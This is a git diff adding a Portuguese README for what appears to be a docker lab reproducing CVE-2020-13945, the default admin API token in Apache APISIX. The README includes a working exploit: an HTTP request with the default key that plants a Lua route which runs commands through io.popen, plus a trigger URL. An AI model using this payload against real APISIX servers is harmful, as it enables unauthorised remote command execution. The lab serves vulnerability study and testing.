added pt-br markdown

apisix/CVE-2020-13945/readme.pt-br.md

@@ -0,0 +1,59 @@
+# Apache APISIX's Admin API Vulnerabilidade de token de acesso padrão (CVE-2020-13945)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache APISIX é um gateway de API dinâmico, em tempo real e de alto desempenho. Apache APISIX tem um token de API embutido padrão `edd1c9f034335f136f87ad84b625c8f1` que pode ser usado para acessar toda a API de administração, o que leva à execução remota do código LUA através do parâmetro `script` adicionado na versão 2.x.
+
+Referências:
+
+- https://apisix.apache.org/docs/apisix/getting-started
+- https://github.com/apache/apisix/pull/2244
+- https://seclists.org/oss-sec/2020/q4/187
+
+## Ambiente de vulnerabilidade
+
+Execute o seguinte comando para iniciar um servidor Apache APISIX 2.11.0 (esta vulnerabilidade não foi corrigida até a versão mais recente, pode não ser considerada correção pelo fornecedor):
+
+```
+docker-compose up -d
+```
+
+Depois que o servidor for iniciado, você verá uma página de erro 404 padrão em `http://your-ip:9080`.
+
+## Reprodução de vulnerabilidade
+
+Adicione uma nova regra de rota ao APISIX por meio da API de administrador com o token padrão:
+
+```
+POST /apisix/admin/routes HTTP/1.1
+Host: your-ip:9080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
+Content-Type: application/json
+Content-Length: 406
+
+{
+ "uri": "/attack",
+"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
+ "upstream": {
+ "type": "roundrobin",
+ "nodes": {
+ "example.com:80": 1
+ }
+ }
+}
+```
+
+![](1.png)
+
+Então, use essa rota para executar comandos arbitrários:
+
+```
+http://your-ip:9080/attack?cmd=id
+```
+
+![](2.png)